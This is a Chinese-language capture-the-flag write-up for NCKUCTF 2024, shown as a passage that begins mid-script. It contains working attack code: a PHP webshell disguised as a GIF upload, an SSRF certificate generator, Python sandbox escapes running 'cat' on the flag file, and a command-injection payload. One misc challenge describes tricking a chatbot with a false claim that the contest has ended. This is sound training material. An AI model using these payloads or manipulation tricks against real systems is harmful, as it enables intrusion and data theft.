'confirm_password': password, }, cookies={'PHPSESSID': phpsessid}, ) r1 = requests.post( f'https://chall.nckuctf.org:{port}/login.php', data={ 'login': 'yes', 'username': account, 'password': password, }, cookies={'PHPSESSID': phpsessid}, ) with open('dot-x.gif', 'wb') as f: f.write(b'GIF89a\n' + b'''<?php system('cat /flag'); ?>''') with open('dot-x.gif', 'rb') as f: r2 = requests.post( f'https://chall.nckuctf.org:{port}/upload.php', cookies={'PHPSESSID': phpsessid}, files={'avatar': (fname_fake, f)}, ) r3 = requests.post( f'https://chall.nckuctf.org:{port}/uploads/{account}_{fname_fake}', cookies={'PHPSESSID': phpsessid}, ) ``` 使用方式: ```shell $ python -q >>> from attack import * >>> print(r2.text) Avatar uploaded to [中略……] successfully! <!DOCTYPE html> <html lang="en"> [中略……] >>> print(r3.text) GIF89a [命令輸出,後略……] ``` ::: :::success ||![image](https://hackmd.io/_uploads/ByzNOSSkkx.png)|| Flag: ||`NCKUCTF{YOu_are_7te_real_g00d_H4cK3r_Vincent55_15_V3ry_h4ppY_3281a4f52da44276}`|| ::: :::info 這一題的大部份程式碼與上一題相同,除了以下。 這一題的 `images/info.php`: ```php <?php phpinfo(); ?> ``` 這一題沒有 `.htaccess`。 這一題的 `images/.htaccess`: ```txt AddType application/x-httpd-php .php .Php .pHp .phP .pHP .PHp .PHP ``` 實際上是把 `.htaccess` 移到 `images/.htaccess`。 ::: ## Web &mdash; 主題編輯器 下載源始碼後直接搜尋關鍵字。 ![image](https://hackmd.io/_uploads/H1d_-8rJJx.png) ```typescript set isMagicTheme(value: boolean) { if (value) { this.pirmaryColor = "dark"; this.accentColor = "#5a1545"; this.fontSize = 30; } } ``` 嘗試根據函式要求調整設定,Font Size 用開發者工具編輯。但沒用。 題目有提示主題與下載版是不同的,所以參數應該不一樣。 參考 `theme.ts`: ```typescript constructor(input: ThemeProps | Headers) { function merge(a, b) { for (const prop in b) { if (typeof a[prop] === "object") merge(a[prop], b[prop]); else a[prop] = b[prop]; } } if ("accentColor" in input) merge(this, input); else { const cookies = getCookies(input as Headers); if (cookies.theme) { const raw = JSON.parse(atob(cookies.theme)); merge(this, raw); } } } setResponseHeader(header: Headers, url: URL) { const cookie = { name: "theme", value: btoa(JSON.stringify(this)), maxAge: 120, sameSite: "Lax" as Lax, domain: url.hostname, path: "/", secure: false, }; setCookie(header, cookie); } ``` 可得知==要利用 cookies 修改 `Theme` 物件==。 送出預設參數後會得到名爲 `theme` 的 cookie。 :::info 如果名爲 `PHPSESSID`,刪除該 cookie 後重新整理網頁。 ::: ![image](https://hackmd.io/_uploads/Sy5b5LH1kg.png) ```shell $ base64 -d <<<eyJhY2NlbnRDb2xvciI6IiM1Yzg1ZmYiLCJwaXJtYXJ5Q29sb3IiOiJsaWdodCIsImZvbnRTaXplIjoxNiwicHJpbWFyeUNvbG9yIjoibGlnaHQifQ== {"accentColor":"#5c85ff","pirmaryColor":"light","fontSize":16,"primaryColor":"light"} ``` :::danger `pirmaryColor` ::: 可知是 `Theme` 類別的成員內容。嘗試造新的 cookie 來呼叫 `isMagicTheme` 的 setter,代回瀏覽器。 ```shell $ base64 <<<'{"isMagicTheme":true}' eyJpc01hZ2ljVGhlbWUiOnRydWV9Cg== ``` ![image](https://hackmd.io/_uploads/rJQbFIry1g.png) 重新整理網頁後取得 flag。 :::success ||![image](https://hackmd.io/_uploads/HkQsuIB11x.png)|| Flag: ||`NCKUCTF{40px0npr0t0type}`|| ::: :::info 實際的參數是 Light、`#5c85f5`、32px,不過用 cookie 代入參數但不設定 `isMagicTheme` 的話不會顯示 flag。 ::: ## Misc &mdash; Coffee Shop 假裝競賽已經結束了,資訊差攻擊不知道競賽結束時間的聊天機器人。 :::info 可能會需要清 cookie 重設聊天狀態來重現這段聊天。 ::: :::success ||![image](https://hackmd.io/_uploads/By_2LPBkyx.png)|| ||`NCKUCTF{I_LOVE_drinking_MAGIC_COFFEE}`|| ::: :::danger 活動名與 flag 怎麼是顚倒的? ::: ## Web &mdash; CertificateChecker 下載源始碼並操作,可發現只要成功註冊、通過驗證、並登入,就能拿到 flag。但使用者註冊後不會有人去驗證。 目標是成功執行 `verifyaccount()`。 先用 Python 算出賬密的 MD5 雜湊値與驗證網址,然後開始考慮如何從 localhost 呼叫。 `attack-url.py`: ```python #!/usr/bin/env python3 import hashlib import urllib.parse port = 39999 user = 'images_dotdoTDotDOtD07d07D0tDotD0' password = 'XRQGwedq239rQrfcef9qE3RXrQ9fWE9fx32rQWecfe9fxwe93' md5 = hashlib.md5() md5.update(user.encode()) md5.update(password.encode()) verifyurl = urllib.parse.urlunparse(["http", f"localhost:{port}", "verifyaccount", "", urllib.parse.urlencode({"user": user, "verify": md5.hexdigest()}), '']) print(verifyurl) ``` 可得到 `http://localhost:39999/verifyaccount?user=使用者名稱&verify=算出的MD5雜湊値` 猜測要==利用憑證驗證的機制進行 SSRF 攻擊==。用相關的關鍵字搜尋後找到已有的攻擊手稿:<https://github.com/ChickenLover/x509-SSRF/blob/master/gen_cert.py> 不過直接生產憑證丟上去不被接受。我硏究了一段時間,注意到在 vscode 中有 deprecation 訊息提到 [`cryptography` 函式庫](https://pypi.org/project/cryptography/)。 ![image](https://hackmd.io/_uploads/BkBz7fwJ1g.png) 嘗試用 `cryptography` 改寫,但遇到困難,所以照 `cryptography` 函式庫給的敎學重寫憑證生產器,同時引入 `gen_cert.py` 中的攻擊手段。 <https://cryptography.io/en/latest/x509/tutorial/> :::spoiler 改寫後的 `gen_cert.py` ```python #!/usr/bin/env python3 import argparse import datetime from typing import Optional from cryptography.hazmat.primitives import serialization, hashes from cryptography.hazmat.primitives.asymmetric import rsa, ec from cryptography import x509 from cryptography.x509.oid import NameOID def gen_cert(crls: Optional[list] = None, ocsps: Optional[list] = None) -> None: crls = crls or [] ocsps = ocsps or [] # Generate our key root_key = ec.generate_private_key(ec.SECP256R1()) # Write our key to disk for safe keeping save_key(root_key, "root_key.pem") subject = issuer = x509.Name([ x509.NameAttribute(NameOID.COUNTRY_NAME, "TW"), x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, "Taiwan"), x509.NameAttribute(NameOID.LOCALITY_NAME, "National Cheng-Kung Uni."), x509.NameAttribute(NameOID.ORGANIZATION_NAME, "Competitor IID as ScriptKiid"), x509.NameAttribute(NameOID.COMMON_NAME, "ScriptKiid Root CA"), ]) root_cert = (x509.CertificateBuilder() .subject_name(subject) .issuer_name(issuer) .public_key(root_key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(datetime.datetime.now(datetime.timezone.utc)) .not_valid_after( # Our certificate will be valid for ~10 years datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=365*10)) .add_extension( x509.BasicConstraints(ca=True, path_length=None), critical=True) .add_extension( x509.KeyUsage( digital_signature=True, content_commitment=False, key_encipherment=False, data_encipherment=False, key_agreement=False, key_cert_sign=True, crl_sign=True, encipher_only=False, decipher_only=False, ), critical=True) .add_extension( x509.SubjectKeyIdentifier.from_public_key(root_key.public_key()), critical=False) .sign(root_key, hashes.SHA256())) # Write our certificate out to disk. with open("root_certificate.pem", "wb") as f: f.write(root_cert.public_bytes(serialization.Encoding.PEM)) # Generate our intermediate key int_key = ec.generate_private_key(ec.SECP256R1()) subject = x509.Name([ x509.NameAttribute(NameOID.COUNTRY_NAME, "TW"), x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, "Taiwan"), x509.NameAttribute(NameOID.LOCALITY_NAME, "National Cheng-Kung Uni."), x509.NameAttribute(NameOID.ORGANIZATION_NAME, "Competitor IID as ScriptKiid"), x509.NameAttribute(NameOID.COMMON_NAME, "chall.nckuctf.org"), ]) int_cert = (x509.CertificateBuilder() .subject_name(subject) .issuer_name(root_cert.subject) .public_key(int_key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before( datetime.datetime.now(datetime.timezone.utc)) .not_valid_after( # Our intermediate will be valid for ~3 years datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=365*3)) .add_extension( # Allow no further intermediates (path length 0) x509.BasicConstraints(ca=True, path_length=0), critical=True) .add_extension( x509.KeyUsage( digital_signature=True, content_commitment=False, key_encipherment=False, data_encipherment=False, key_agreement=False, key_cert_sign=True, crl_sign=True, encipher_only=False, decipher_only=False, ), critical=True) .add_extension( x509.SubjectKeyIdentifier.from_public_key(int_key.public_key()), critical=False) .add_extension( x509.AuthorityKeyIdentifier.from_issuer_subject_key_identifier( root_cert.extensions.get_extension_for_class(x509.SubjectKeyIdentifier) .value ), critical=False) .add_extension( x509.CRLDistributionPoints( [x509.DistributionPoint( full_name=[x509.UniformResourceIdentifier(url)], relative_name=None, reasons=None, crl_issuer=None) for url in crls ]), critical=True) .add_extension( x509.AuthorityInformationAccess( [x509.AccessDescription( x509.oid.AuthorityInformationAccessOID.OCSP, x509.UniformResourceIdentifier(url)) for url in ocsps ]), critical=True) .sign(root_key, hashes.SHA256())) # Write our certificate out to disk. with open("certificate.pem", "wb") as f: f.write(int_cert.public_bytes(serialization.Encoding.PEM)) def save_key(root_key, save_path): with open(save_path, "wb") as f: passphrase = b"TYUJOIKvCFgth7yUJytvCRDdeFRGthy7uUJIuvCTRdedFGRT8u9" f.write(root_key.private_bytes( encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=serialization.BestAvailableEncryption(passphrase))) if __name__=="__main__": parser = argparse.ArgumentParser(description="Generate url-imbued x.509 certificates") parser.add_argument("-u", "--urls", nargs="+", required=True, help="url for CRL field (GET request)") parser.add_argument("--post-urls", nargs="+", help="url for OSCP field (POST request) [default to --url]") args = parser.parse_args() args.post_urls = args.post_urls or args.urls gen_cert(args.urls, args.post_urls) ``` ::: ```shell $ python ./gen_cert.py -u 'http://localhost:39999/verifyaccount?user=images_dotdoTDotDOtD07d07D0tDotD0&verify=09f49091f0c8e02049ebe80464bc66bf' ``` 將生產結果上傳後按「Check」,跳出錯誤,表示驗證器有做事,去戳了目標 URL,而且有回應(要已用對應的賬密註冊)。 ![image](https://hackmd.io/_uploads/B1El8fPkyg.png) ![image](https://hackmd.io/_uploads/Sy8TUfvJJg.png) 此時再輸入賬密登入則成功取得 flag。 :::success ||![image](https://hackmd.io/_uploads/HyzyyqIkye.png)|| Flag: ||`NCKUCTF{CEr7ifiC47e_iz_VerY_fUn_4ffbfda07a61b24f}`|| ::: :::success ==Web Any%== ::: ## Misc &mdash; pyjail1 一開始會印出源始碼。注意源始碼有提示如何不用 `import` 關鍵字存取需引入的模組。 ```python #!/usr/local/bin/python3 print(open(__file__).read()) inp = __import__("unicodedata").normalize("NFKC", input(">>> ")) if __import__("re").findall(r"[a-zA-Z]\(", inp): print('bad hacker') exit() eval(inp) ``` 可以發現會抓函式呼叫的語法。嘗試用奇怪的方式繞過但失敗,才注意到它沒檢査空白。 ```python >>> print (__import__("os").popen ("ls").read ()) bin boot dev etc flag_s132roibhedqnjd home ``` :::warning 注意要用 `print()` 等使用標準輸出的函式才會有輸出。 ::: :::success ```python >>> print (__import__("os").popen ("cat flag_s132roibhedqnjd").read ()) ``` Flag: ||`NCKUCTF{the_\t_is_the_tricky_part}`|| ::: :::danger 沒用到 ||`\t`(TAB)||。 ::: ## Misc &mdash; pyjail2 一開始會印出程式碼。 ```python #!/usr/local/bin/python3 print(open(__file__).read()) inp = __import__("unicodedata").normalize("NFKC", input(">>> ")) if any([x in "()" for x in inp]): print('bad hacker') exit() exec(inp) ``` 可以發現會抓函式呼叫的語法,而且只要有圓括號就不行。 :::warning 試了一陣子發現==是 `exec()` 不是 `eval()`==,所以允許==用分號(`;`)分隔語句==,但無法使用需要換行的 decorator。 讀搜尋到的相關文章時,發現可以修改既有函式的類別的成員,允許==定義 magic 方法來重載運算子==。 最後選擇把內建函式 `help` 的加法(`+`)重載成 `exec` 函式,用 `help + 任意字串` 的方式執行命令,==字串中會使用到的圓括號用轉義字元的方式表示==。 <https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes#read-file-with-builtins-help-and-license> ::: ```python! >>> a = __builtins__.help; a.__class__.__add__ = __builtins__.__dict__["exec"]; a + 'print\x28__import__\x28"os"\x29.popen\x28"ls"\x29.read\x28\x29\x29' bin boot dev etc flag_s132roibhedqnjd home ``` ```python! >>> a = __builtins__.help; a.__class__.__add__ = __builtins__.__dict__["exec"]; a + 'print\x28__import__\x28"os"\x29.popen\x28"cat flag_s132roibhedqnjd"\x29.read\x28\x29\x29' ``` :::success Flag: ||`NCKUCTF{decorator_can_also_RCE!}`|| ::: :::danger 沒用到 ||decorator||。 ::: ## Misc &mdash; BabyLSB 用題目關鍵字作網路搜尋,猜測是要==求 least significant bits 並組成字串==,~~而不是對原音作差異音檔~~。 偷懶用網路上的手稿改。 `attack-BabyLSB.py`: ```python import optparse # [沒用到的函式,略……] def bin2str(binary): binary_split = [] count = 0 temp = "" if len(binary) % 8 != 0: binary += "0" * (8 - len(binary) % 8); # 偷懶式墊零。 for i in range(len(binary)): count += 1 temp += binary[i] if count == 8: binary_split.append(temp) count = 0 temp = "" return "".join([chr(int(b, 2)) for b in binary_split]) # [沒用到的函式,略……] def decode(num): return bin(num)[-1] # [沒用到的函式,略……] def retr(filename): data = open(filename, 'rb').read() # 偷懶直接讀。 binary = "" for byte_ in data: binary += decode(byte_) return [bin2str("0" * n + binary) for n in range(0, 8)] # 偷懶暴力窮擧 bit (原 byte) offset。 def main(): parser = optparse.OptionParser('python lsbsteg.py ' + '-e/-d <target file>') parser.add_option('-e', dest = 'hide', type='string', help='target pic path to hide text') parser.add_option('-d', dest = 'retr', type='string', help='target pic path to retrieve text') (options, args) = parser.parse_args() if options.hide != None: text = input("Enter a message to hide: ") print(hide(options.hide, text)) elif options.retr != None: for x in retr(options.retr): print(x) # 偷懶列出暴力窮擧解碼結果。 else: print(parser.usage) quit() if __name__ == '__main__': main() ``` 最後偷懶用 `strings` 過濾非文字輸出(加快後續處理),用 `less` 的搜尋功能偷懶找 flag。 ```shell python attack-BabyLSB.py -d Yee_is_good.wav | strings | less ``` :::success ||![image](https://hackmd.io/_uploads/HJspaiIk1e.png)|| Flag: ||NCKUCTF{l5b_15_u53d_1n_b16_f1l35}|| ::: ## Pwn &mdash; [新手友善] Overflow Tutorial 問答題。 ```txt! Welcome to introduction to overflow! Now you'll learn both integer and buffer overflow in this challenge First Stage: I have a 8-bit unsigned integer (8-bit unsigned integer has range from 0 to 255). Now it is 5, can you add some positive number to make it 0? ``` :::danger "an" 8-bit ::: 可知 `255 + 1` 會 overflow 變成 `0`,所以 `x + 5 = 255 + 1`,得 `x` 爲 `251`。 ```txt! Now you have an input buffer at 0x4040a0 Target is at 0x4040c0 Target now has string: pwn2ooo Now you can input as long as you like to the input buffer, can you overwrite the target string to NCKUCTF? ``` `0x4040c0 - 0x4040a0 = 0x20 = 32`,所以要 32 個字元後加 `NCKUCTF`。 :::info ※ 用 `123456789012345678901234567890` 的塡法可以刷鍵盤輸入同時能避免忘了塡了幾個字元。 ::: :::success ||![image](https://hackmd.io/_uploads/BJdAAoL1kl.png)|| Flag: ||`NCKUCTF{H0p3_U_LeaRNed_Some_concept_Ab0ut_Sof7w4r3_sEcur1tY_N0w_0a05f6c72945fc781e1a0f5b54dc285a}`|| ::: ## Crypto &mdash; my fiRSt chAllenge 直接 Google 搜尋可知: * RSA 加密:$c ≡ m^e \mod n$ * RSA 解密:求 $d$ 使 $e \cdot d ≡ 1 \mod \phi(n)$(記作 $d ≡ e^{-1} \mod \phi(n)$),然後 $m ≡ c^d \mod n$ :::info 從 Python 3.8 開始,可以直接用 `pow(b, -1, m)` 求 $b^{-1} \mod m$ 的最小非負同餘値。 <https://docs.python.org/3/library/functions.html#pow> ::: :::info $c$、$d$、與 $m$ 理論上有無限多組解,只是實際使用上是取最小非負正整數。 ::: $\phi(n)$ 是指 $\leq n$ 而與 $n$ 的最大公因數爲 $1$ 的正整數的數量,但因爲源始碼中的 $n$ 2048-bit 是個質數,$\phi(n) = n - 1$。 ```python # from secret import FLAG from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes # n = getPrime(2048) # e = getPrime(16) # c = pow(bytes_to_long(FLAG), e, n) n = 29515137476410732565395862722963074199622018579742235619483838495244496826773185118703438557016644525603004790326390157375150617425660568673234525163053787601979251578715363956828720987867008371116795019306822053842574391522127242263531052640722998377798102043950757321604541051946199000630641395363550017020343876257972167003334434311252018055242321701890541759586899789271195868045077149324175615786881257113977671176448255441524215076885042587056784122096761826652505036449331904946402295220577082613941130410652603845577746076898631099511652380668364951227935608771507949681151561120306692972880252400347630775329 e = 63419 c = 13041101492632275241451226791066932954902515655412960677800156612127295311621973342630562294571243790419335927585695165973807846243620437209471044333930167476000218300313374449819291533760805753314008853130980810895059368546990111665481327123537120932418327400900454152568232733402395843815332144503387562021535428907200372989099776841667152496714450025823161843323605581564623725301365764091875511353326585184804855104329543851954021961728422196707827170853772110164202185241974517244104130682033961399207175113645238215426935080369634231928392695255329223206100242002525014226904948183690353689879264271163645705926 phi = (n - 1) d = pow(e, -1, phi) print(long_to_bytes(pow(c, d, n))) ''' with open("output.txt", "w") as f: f.write(f"n = {n}\ne = {e}\nc = {c}") ''' ``` 直接執行可得到 flag。 :::success Flag: ||`NCKUCTF{R54_D0es_n07_w0rk_1ik3_7h15}`|| ::: ## Misc &mdash; 我們是做好駭客 用 `CTF tools image online` 搜尋相關工具,隨便選了一個。<https://georgeom.net/StegOnline/image> ![image](https://hackmd.io/_uploads/rJ0hh-w11g.png) ~~不小心~~按了「Browse Bit Planes」後看到以下隱藏圖片。 ![image](https://hackmd.io/_uploads/HyKFnZD11l.png) :::danger 「之樹」 ::: 直接以圖搜尋可以發現這張圖是用圖庫圖改的,所以重點應該會在與原圖不同的地方。 ![image](https://hackmd.io/_uploads/ByR20bvyke.png) 不同之處: * 樹枝末梢減少到 64 枝。 * 有些末梢有箭頭或加點。 * 背景中與底下兩橫列的雜點,不過不排除是壓縮所造成的瑕疵。 因爲有 64 枝,所以嘗試從左到右深度優先造訪來編號,看看能找到什麼規律。 ![good_hacker_chal-red0-marked](https://hackmd.io/_uploads/ByP-E7D1ye.png) 發現箭頭所指的全是 8 的倍數,而且全沒加點,所以猜測是 ASCII 碼,而加點表示位元爲 1。 偷前面的 `attack-BabyLSB.py` 的 `bin2str()` 來用。 `attack-good_hacker.py`: ```python # [前略……] print('NCKUCTF{' + bin2str( '00110001' + '01101000' + '00110100' + '01100011' + '01101011' + '01111001' + '00110000' + '01110101') + '}') ``` :::success Flag: ||`NCKUCTF{1h4cky0u}`|| ::: ## Misc &mdash; Double Exploit 首先先檢査題述圖片有沒有問題。沒有(應該)。 源始碼: ![image](https://hackmd.io/_uploads/BkGb2mwyke.png) 首先先檢査 `secret.php`。沒有東西。 ![image](https://hackmd.io/_uploads/HyVxhmwJyx.png) 剩下的因素只有 `?payload=負載` 的「負載」要塡什麼。不能超過 6 個位元。 嘗試 `\0` 會顯示執行錯誤,表示眞的有在執行。 ![image](https://hackmd.io/_uploads/HJdmpXvJkl.png) Shell 命令注入不可行,payload 太短,除非有短命令。 :::warning 盲解不是好策略。試試看嘗試存取 `https://chall.nckuctf.org:29205/pwn_me` 會發生什麼事。 ![{B2ABC662-0B0E-47C1-A500-6D21E93B801D}](https://hackmd.io/_uploads/SyJ-1EDJyg.png) 程式察覺。 ::: ```shell $ ./pwn_me Segmentation fault $ ./pwn_me a N0m N0m ``` ```shell strings pwn_me | less ``` ![image](https://hackmd.io/_uploads/H1MWMEPyke.png) 用 `objdump` 査看字串的位置: * `Meowing `:`0x2004` * `N0m N0m`:`0x200d` 其它物件的位置: * `pwn_me`:`0x4049` 組譯碼分析: ```shell $ objdump -d pwn_me --visualize-jumps=extended-color | less -R ``` `main`: ```asm 0000000000001159 <main>: ## (di (argc): int, si (argv): char**, d (envp): char**) → a (retval): int 1159: 55 push %rbp ## || … > bp_ret (= 0x0) | ip_ret 115a: 48 89 e5 mov %rsp,%rbp ## … >|| bp_ret | ip_ret 115d: 48 83 ec 10 sub $0x10,%rsp ## … > - | - || bp_ret | ip_ret 1161: 89 7d fc mov %edi,-0x4(%rbp) 1164: 48 89 75 f0 mov %rsi,-0x10(%rbp) ## … > argv | - (4) | argc.low32 (4) || bp_ret | ip_ret 1168: 48 8b 05 d1 2e 00 00 mov 0x2ed1(%rip),%rax # 4040 <stdin@GLIBC_2.2.5> 116f: b9 00 00 00 00 mov $0x0,%ecx 1174: ba 02 00 00 00 mov $0x2,%edx 1179: be 00 00 00 00 mov $0x0,%esi 117e: 48 89 c7 mov %rax,%rdi 1181: e8 ca fe ff ff call 1050 <setvbuf@plt> ##: setvbut(di = stdin, si = 0, d = 2, c = 0) → a 1186: 48 8b 05 a3 2e 00 00 mov 0x2ea3(%rip),%rax # 4030 <stdout@GLIBC_2.2.5> 118d: b9 00 00 00 00 mov $0x0,%ecx 1192: ba 02 00 00 00 mov $0x2,%edx 1197: be 00 00 00 00 mov $0x0,%esi 119c: 48 89 c7 mov %rax,%rdi 119f: e8 ac fe ff ff call 1050 <setvbuf@plt> ##: setvbut(di = stdout, si = 0, d = 2, c = 0) → a 11a4: 48 8b 45 f0 mov -0x10(%rbp),%rax ##: argv → a ## … > argv | - (4) | argc.low32 (4) || bp_ret | ip_ret 11a8: 48 83 c0 08 add $0x8,%rax ##: a + 8 (argv + 1) → a 11ac: 48 8b 00 mov (%rax),%rax ##: *a (argv[1]) → a 11af: 0f b7 00 movzwl (%rax),%eax ##: (int16_t)*a (*(int16_t *)argv[1]) → a.low32, 0 → a.hi32 11b2: 66 89 05 90 2e 00 00 mov %ax,0x2e90(%rip) # 4049 <pwn_me> ##: a.low16 (*(int16_t *)argv[1]) → pwn_me.low16 11b9: 0f b6 05 8a 2e 00 00 movzbl 0x2e8a(%rip),%eax # 404a <pwn_me+0x1> ##: (int32_t)pwn_me.low16.hi8 (argv[1][1]) → a.low32, 0 → a.hi32 11c0: 3c 23 cmp $0x23,%al ##: a.low8 (argv[1][1]) <=> `#` 11c2: /----- 75 16 jne 11da <main+0x81> ##: jump if a.low8 (argv[1][1]) != `#` 11c4: | 48 8d 05 39 0e 00 00 lea 0xe39(%rip),%rax # 2004 <_IO_stdin_used+0x4> 11cb: | 48 89 c7 mov %rax,%rdi 11ce: | b8 00 00 00 00 mov $0x0,%eax 11d3: | e8 68 fe ff ff call 1040 <printf@plt> ##: printf(di = 0x2004 "Meowing ", a (vararg float argc) = 0) → a 11d8: | /-- eb 0f jmp 11e9 <main+0x90> 11da: \--|-> 48 8d 05 2c 0e 00 00 lea 0xe2c(%rip),%rax # 200d <_IO_stdin_used+0xd> 11e1: | 48 89 c7 mov %rax,%rdi 11e4: | e8 47 fe ff ff call 1030 <puts@plt> ##: puts(di = 0x200d "N0m N0m") → a 11e9: \-> b8 00 00 00 00 mov $0x0,%eax ## … > argv | - (4) | argc.low32 (4) || bp_ret | ip_ret 11ee: c9 leave ## … >|| bp_ret | ip_ret (bp → sp) ## || … > ip_ret (bp_ret (= 0x0) → bp, sp += 8) 11ef: c3 ret ## || … > (ip_ret → ip, sp += 8) ``` :::info 參考 <https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/linux-x64-calling-convention-stack-frame> ::: :::warning 可知 1 號參數的第 2 字元爲 `#` 時會印出 `Meowing `,可以在 payload 塡入 `0#` 做到。 ::: 剩下的是如何印出 `Whale`。用 `;命令` 的方式會遇到 payload 太長的問題,所以應該做不到。有可能輸入特別字串的 `pwd`(輸出所在目錄路徑)失敗,`whoami`(輸出使用者名稱)太長不能用。 嘗試搜尋網路資訊,分析看看 `pwn_me` 有沒有可利用之處,也沒有。 所以想嘗試用 shell 命令注入的方式塡入大量字串、塡入 `Whale`、塡入花括號展開,塡入檔案萬用字元例如 `?#???` 展開。 這時突然想到能不能知道有哪些檔案的問題,想到題目是 Docker,與 CertificateChecker 的 Docker 目錄比較後,試了幾個路徑。 ![image](https://hackmd.io/_uploads/BkP9dnv1yg.png) :::warning 沒有拒絕存取。雖然還沒什麼幫助,再試試別的路徑。 ![image](https://hackmd.io/_uploads/BJ96u3DJJg.png) 要件察覺。 ::: 下載 `f` 後執行,發現直接輸出 `Whale`。 最後 payload 塡入 `0#;./f` 的 URL 編碼結果 `0%23;.%2ff`,成功取得 flag。 :::success ||![image](https://hackmd.io/_uploads/BkJt16PJyl.png)|| Flag: ||`NCKUCTF{my_first_pwn+web+rev_XD}`|| ::: :::success ==Misc Any%== ::: ## Crypto &mdash; [新手友善] BabyRSA > Given a RSA private key and an encrypted file, how to decrypt RSA? :::danger "an" RSA ::: 用搜尋到的命令嘗試,但會解密失敗。 ```shell $ openssl rsautl -decrypt -inkey id_rsa-BabyRSA -in encrypted-BabyRSA.bin The command rsautl was deprecated in version 3.0. Use 'pkeyutl' instead. Could not read private key from id_rsa-BabyRSA ``` 換個方法,參考 <https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/> 寫手稿。 `attack-BabyRSA.py`: ```python from cryptography.hazmat.primitives import serialization, hashes from cryptography.hazmat.primitives.asymmetric import padding with open('id_rsa-attack-BabyRSA', 'rb') as key_file: private_key = serialization.load_pem_private_key( key_file.read(), password=None) with open('encrypted-BabyRSA.bin', 'rb') as cipher_file: plaintext = private_key.decrypt( cipher_file.read(), padding.PKCS1v15( mgf=padding.MGF1(algorithm=hashes.SHA1()), algorithm=hashes.SHA1(), label=None ) ) print(plaintext) ``` ```python $ python ./attack-BabyRSA.py Traceback (most recent call last): File "/mnt/c/Users/User/Downloads/NCKUCTF-2024/./attack-BabyRSA.py", line 4, in <module> [中略……] File "/usr/lib/python3/dist-packages/cryptography/hazmat/backends/openssl/backend.py", line 1512, in _handle_key_loading_error raise ValueError( ValueError: Could not deserialize key data. The data may be in an incorrect format or it may be encrypted with an unsupported algorithm. ``` :::warning `cat id_rsa-BabyRSA`,發現它是以 `-----BEGIN OPENSSH PRIVATE KEY-----` 開頭的,需要轉換成 PEM 格式。 <https://superuser.com/questions/1720991/differences-between-begin-rsa-private-key-and-begin-openssh-private-key> ::: 先複製一份來操作。注意必須確定檔案模式是 `x00` (`-(r)(w)(x)------`)(非擁有者不能讀寫或執行),否則 `ssh-keygen` 會拒絕轉換。 ``` $ cp id_rsa-BabyRSA id_rsa-attack-BabyRSA $ chmod 600 id_rsa-attack-BabyRSA $ ssh-keygen -p -N "" -m pem -f id_rsa-attack-BabyRSA Key has comment 'twnwaking@TWNWAKing-Laptop' Your identification has been saved with the new passphrase. ``` ```shell $ python attack-BabyRSA.py [中略……] raise ValueError("Encryption/decryption failed.") ValueError: Encryption/decryption failed. ``` 用 `openssl` 解碼則是出現亂碼,不過使用 `-oaep` 參數則是報吿: ```text RSA operation error 801B39C81F7F0000:error:02000079:rsa routines:RSA_padding_check_PKCS1_OAEP_mgf1:oaep decoding error:../crypto/rsa/rsa_oaep.c:314: ``` 發現可能是 padding 的問題,參考 <https://docs.openssl.org/3.1/man1/openssl-rsautl/#options> 試試不同的 padding。 `openssl rsautl -decrypt -inkey id_rsa-attack-BabyRSA -in encrypted-BabyRSA.bin -raw` :::success Flag: ||`NCKUCTF{U_kn0w_how_to_Use_RSA_4e5a3a8f19a14928}`|| ::: :::danger 「[新手友善]」 ::: ## Welcome &mdash; 回饋表單 :::info 因爲時間安排上的關係,還有題目沒動手解,只好先吿一段落。 ::: ~~Trivial~~ 塡完表單的提示訊息即包含 flag。 :::success Flag: ||NCKUCTF{Thanks for your playing, have a nice day!}|| ::: :::danger 但是送出時按錯與貼錯送了這次 CTF 第一個與唯好幾個錯誤 flags。 ::: :::success ==Welcome Any%== :::